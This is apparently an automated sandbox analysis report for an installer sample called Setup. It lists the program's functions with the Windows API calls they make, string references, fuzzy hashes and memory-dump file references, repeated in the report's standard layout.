Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 0a2f85832d22be582635bab1499ab015b7246acefa136c2a8fff2ea0c335f580
Instruction ID: 3557cad305de1e8d8744f7ed922a0974add56b4630c1d6058af0572804785a4b
Opcode Fuzzy Hash: 0a2f85832d22be582635bab1499ab015b7246acefa136c2a8fff2ea0c335f580
Instruction Fuzzy Hash: 0AD09E71654201EFEF099F20DE1AF6EBBA2EB84B01F11852CB692940E0DAB15819DB15

Function 004058DE Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,00406701,?,?,?), ref: 004058E2
SetFileAttributesW.KERNEL32(?,00000000), ref: 004058F5

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: 9bfeacdea6eb5f2932ef974784812b51c4f8f2d5e5736dd59436ec15d4266534
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 8DC01272404900AAC6001B34DF0881A7B22AB94331B258739B5BAE00F0CB3088A9AA18

Function 00401F9B Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(?,00000000,?,00000000,004D40B0,00000000), ref: 00401FEA

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 472f4eeaf3e5161a1656fb81187af857e571e343c78cb304711e9bc17c207397
Instruction ID: 63966a6383d29ffdfa22f329224652c183dd70f9b2d60f481563a5b1fdafd2c8
Opcode Fuzzy Hash: 472f4eeaf3e5161a1656fb81187af857e571e343c78cb304711e9bc17c207397
Instruction Fuzzy Hash: 6DF06232650224A6DB10BBB9DC86BAD37E89B44758F208537F601EA0E2D67CC8C18248

Function 0040154D Relevance: 1.5, APIs: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000000,00000000,?,?), ref: 00401587

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5e993feb771b5cf26465967f746d5e6f11a2072fdff488fd80c6cb0f440dea5c
Instruction ID: 25f660db1a1e8629dce7ab52a77c94397c675d14e237935d7f32c5267cf96d12
Opcode Fuzzy Hash: 5e993feb771b5cf26465967f746d5e6f11a2072fdff488fd80c6cb0f440dea5c
Instruction Fuzzy Hash: E8F0377A250109BBD700DB59DD41FE637DCE744B94F148036FA09DB151C735E44187A9

Function 0040188D Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,?,?), ref: 004018A4

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 223388b599ff242e7ccadcd08180d40b3faf74b659585ba66a24a54107b5256e
Instruction ID: 00f5228fbcba69d7f7f389f47c449123412ef94834c0b690fd6e23632fde5db3
Opcode Fuzzy Hash: 223388b599ff242e7ccadcd08180d40b3faf74b659585ba66a24a54107b5256e
Instruction Fuzzy Hash: ABE04F32304255AAF340DBA4DD49B9E73A4DB40728F20423AEA15F60D1E3B49A84C769

Function 00402E9E Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402F3A,000000FF,00000004,00000000,00000000,00000000), ref: 00402EB5

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 6eb761298bb8b99514d02d989ea50b9b43b036f115663e871731ccf59cb5bf7b
Instruction ID: bd695a607233752ff1959b473a7ca1503adc94cd5dff5db9087338bb7c64902f
Opcode Fuzzy Hash: 6eb761298bb8b99514d02d989ea50b9b43b036f115663e871731ccf59cb5bf7b
Instruction Fuzzy Hash: F0E08C322A0218BBCB219E91DE08AE73B5CEB047A2F008436B958E51D0D674D952DBF9

Function 00403360 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405AE7: CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
Part of subcall function 00405AE7: CharNextW.USER32(?,?,?,00000000), ref: 00405B59
Part of subcall function 00405AE7: CharNextW.USER32(?,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
Part of subcall function 00405AE7: CharPrevW.USER32(?,?,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72

CreateDirectoryW.KERNELBASE(004E00C8,00000000,004E00C8,004E00C8,004E00C8,00000002,0040359B), ref: 00403381

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: c9f98378969a177fcb370052af8fd256873b8aecdbe0e59b9a239e0623e805da
Instruction ID: d79b23296e172e3f7541ee3cb439833c7f4a864136be478e135bd67e808ea9fb
Opcode Fuzzy Hash: c9f98378969a177fcb370052af8fd256873b8aecdbe0e59b9a239e0623e805da
Instruction Fuzzy Hash: 54D09E11547D7561C56236663E46FDF151C8F52359F114077F540B51C25A6C0A8289ED

Function 00402ED0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032EE,?,?,?,?,00000000,004035D7,?), ref: 00402EDE

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 052875b64ac29a69a56fe5fa30ce1250d27c90eff136e832dd86e8876edcd7ee
Instruction ID: 4946e7aaa73dbe9c50503acfc76fe66090dc5a246f76b590ec387925aa062f70
Opcode Fuzzy Hash: 052875b64ac29a69a56fe5fa30ce1250d27c90eff136e832dd86e8876edcd7ee
Instruction Fuzzy Hash: 4EB09231140300AADA215F009E09F057B21AB90700F108824B291281F086712020EA0D

Function 00401646 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 00401656

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8dc5173ed66c8cb9375c8a62a6b21d0958b4d16d400b23e9b38b04bf0691659c
Instruction ID: b7a5ace7ee108f6bfae9467569b9736203130378aa17b3a4f183cff96938e45a
Opcode Fuzzy Hash: 8dc5173ed66c8cb9375c8a62a6b21d0958b4d16d400b23e9b38b04bf0691659c
Instruction Fuzzy Hash: 42D02233704200CBE700F7B8AE8942E33A4E71232D3200C3BD803F20A0D639C8C1822D

Non-executed Functions

Function 00405C70 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 00405C83
lstrlenW.KERNEL32(?), ref: 00405C90
GetVersionExW.KERNEL32(?), ref: 00405CEE

Part of subcall function 00405ADA: CharUpperW.USER32(?,00405CC5,?), ref: 00405AE0

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00405D2D
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00405D4C
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00405D56
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00405D61
FreeLibrary.KERNEL32(00000000), ref: 00405D98
GlobalFree.KERNEL32(?), ref: 00405DA1

Strings

Unknown, xrefs: 00405DC0
Kernel32.DLL, xrefs: 00405E5F
EnumProcessModules, xrefs: 00405D4E
CreateToolhelp32Snapshot, xrefs: 00405E79
Module32FirstW, xrefs: 00405E97
PSAPI.DLL, xrefs: 00405D28
Process32FirstW, xrefs: 00405E81
Module32NextW, xrefs: 00405EA2
Process32NextW, xrefs: 00405E8C
EnumProcesses, xrefs: 00405D46
GetModuleBaseNameW, xrefs: 00405D58

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: bfd5aff29ee4f1ffb6214c97bb0594a6be1cab25f0f6d26799202fd0c5d98f81
Instruction ID: 5cd628679c3206996b44c0f0d1c9f7c2e320434dbef64c8d82388663d9783bcf
Opcode Fuzzy Hash: bfd5aff29ee4f1ffb6214c97bb0594a6be1cab25f0f6d26799202fd0c5d98f81
Instruction Fuzzy Hash: A091407190061AEBDF109FA4CD88AAFBBB8EF44741F10407AE545F6190DB788A45CF69

Function 0040447D Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404494
GetDlgItem.USER32(?,00000408), ref: 004044A1
GlobalAlloc.KERNEL32(00000040,?), ref: 004044F0
LoadBitmapW.USER32(0000006E), ref: 00404503
SetWindowLongW.USER32(?,000000FC,Function_000043CD), ref: 0040451D
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040452F
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404543
SendMessageW.USER32(?,00001109,00000002), ref: 00404559
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404565
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404575
DeleteObject.GDI32(?), ref: 0040457A
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 004045A5
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 004045B1
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404652
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404675
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404686
GetWindowLongW.USER32(?,000000F0), ref: 004046B0
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004046BF
ShowWindow.USER32(?,00000005), ref: 004046D0
SendMessageW.USER32(?,00000419,00000000,?), ref: 004047CE
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404829
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 0040483E
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404862
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404888
ImageList_Destroy.COMCTL32(?), ref: 0040489D
GlobalFree.KERNEL32(?), ref: 004048AD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040491D
SendMessageW.USER32(?,00001102,?,?), ref: 004049CB
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004049DA
InvalidateRect.USER32(?,00000000,00000001), ref: 004049FA
ShowWindow.USER32(?,00000000), ref: 00404A4A
GetDlgItem.USER32(?,000003FE), ref: 00404A55
ShowWindow.USER32(00000000), ref: 00404A5C

Strings

@, xrefs: 00404691
, xrefs: 00404A3A
N, xrefs: 00404707
M, xrefs: 00404644

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 937356102a75185e20c66d4cdea0a1291c72136f879f0bdf363495dfedd26f78
Instruction ID: b4b482d55b4410d1430187b36ccef83e55c8bda0955db637de4799104be70721
Opcode Fuzzy Hash: 937356102a75185e20c66d4cdea0a1291c72136f879f0bdf363495dfedd26f78
Instruction Fuzzy Hash: 5F027BB0900209EFDB119FA4CD45AAEBBB5FB84315F10813AF614B62E0D7799E91CF58

Function 00404BB4 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 290windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00404C16
GetDlgItem.USER32(?,000003EE), ref: 00404C25
GetClientRect.USER32(?,?), ref: 00404C62
GetSystemMetrics.USER32(00000015), ref: 00404C6A
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00404C8B
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00404C9C
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00404CAF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00404CBD
SendMessageW.USER32(?,00001024,00000000,?), ref: 00404CD0
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404CF2
ShowWindow.USER32(?,00000008), ref: 00404D06
GetDlgItem.USER32(?,000003EC), ref: 00404D27
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00404D37
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00404D4C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00404D58
GetDlgItem.USER32(?,000003F8), ref: 00404C34

Part of subcall function 00403920: SendMessageW.USER32(00000028,?,00000001,00405280), ref: 0040392E

GetDlgItem.USER32(?,000003EC), ref: 00404D77
CreateThread.KERNEL32(00000000,00000000,Function_00004B48,00000000), ref: 00404D85
CloseHandle.KERNEL32(00000000), ref: 00404D8C
ShowWindow.USER32(00000000), ref: 00404DB3
ShowWindow.USER32(?,00000008), ref: 00404DB8
ShowWindow.USER32(00000008), ref: 00404DFF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404E31
CreatePopupMenu.USER32 ref: 00404E42
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00404E57
GetWindowRect.USER32(?,?), ref: 00404E6A
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00404E8C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00404EC7
OpenClipboard.USER32(00000000), ref: 00404ED7
EmptyClipboard.USER32 ref: 00404EDD
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00404EE9
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00404EF3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00404F07
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00404F29
SetClipboardData.USER32(0000000D,00000000), ref: 00404F34
CloseClipboard.USER32 ref: 00404F3A

Strings

{, xrefs: 00404E1E

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 17b19512de00e59187fca8f5a6567c7c37cbdab995639fd4f0823fef6f6269fe
Instruction ID: 4a1b14a679f192c254d8bf3bd6cec492735fc4b3fb0f93a90a805189e19306d7
Opcode Fuzzy Hash: 17b19512de00e59187fca8f5a6567c7c37cbdab995639fd4f0823fef6f6269fe
Instruction Fuzzy Hash: FBB15CB0900208BFDB11AF60DD89EAE7B79FF44355F00817AFA45B61A1CB748A91DF58

Function 0040400B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040405A
SetWindowTextW.USER32(?,?), ref: 00404087
SHBrowseForFolderW.SHELL32(?), ref: 0040413F
CoTaskMemFree.OLE32(00000000), ref: 0040414A
lstrcmpiW.KERNEL32(0046B220,0044FD98,00000000,?,?), ref: 0040417C
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404198
lstrcatW.KERNEL32(?,0046B220), ref: 00404188

Part of subcall function 00405731: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403AE8), ref: 00405744

Part of subcall function 00405AE7: CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
Part of subcall function 00405AE7: CharNextW.USER32(?,?,?,00000000), ref: 00405B59
Part of subcall function 00405AE7: CharNextW.USER32(?,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
Part of subcall function 00405AE7: CharPrevW.USER32(?,?,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72

GetDiskFreeSpaceW.KERNEL32(00443D80,?,?,0000040F,?,00443D80,00443D80,?,00000000,00443D80,?,?,000003FB,?), ref: 0040425A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404275
SetDlgItemTextW.USER32(00000000,00000400,0040856C), ref: 004042EE

Strings

A, xrefs: 00404138

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

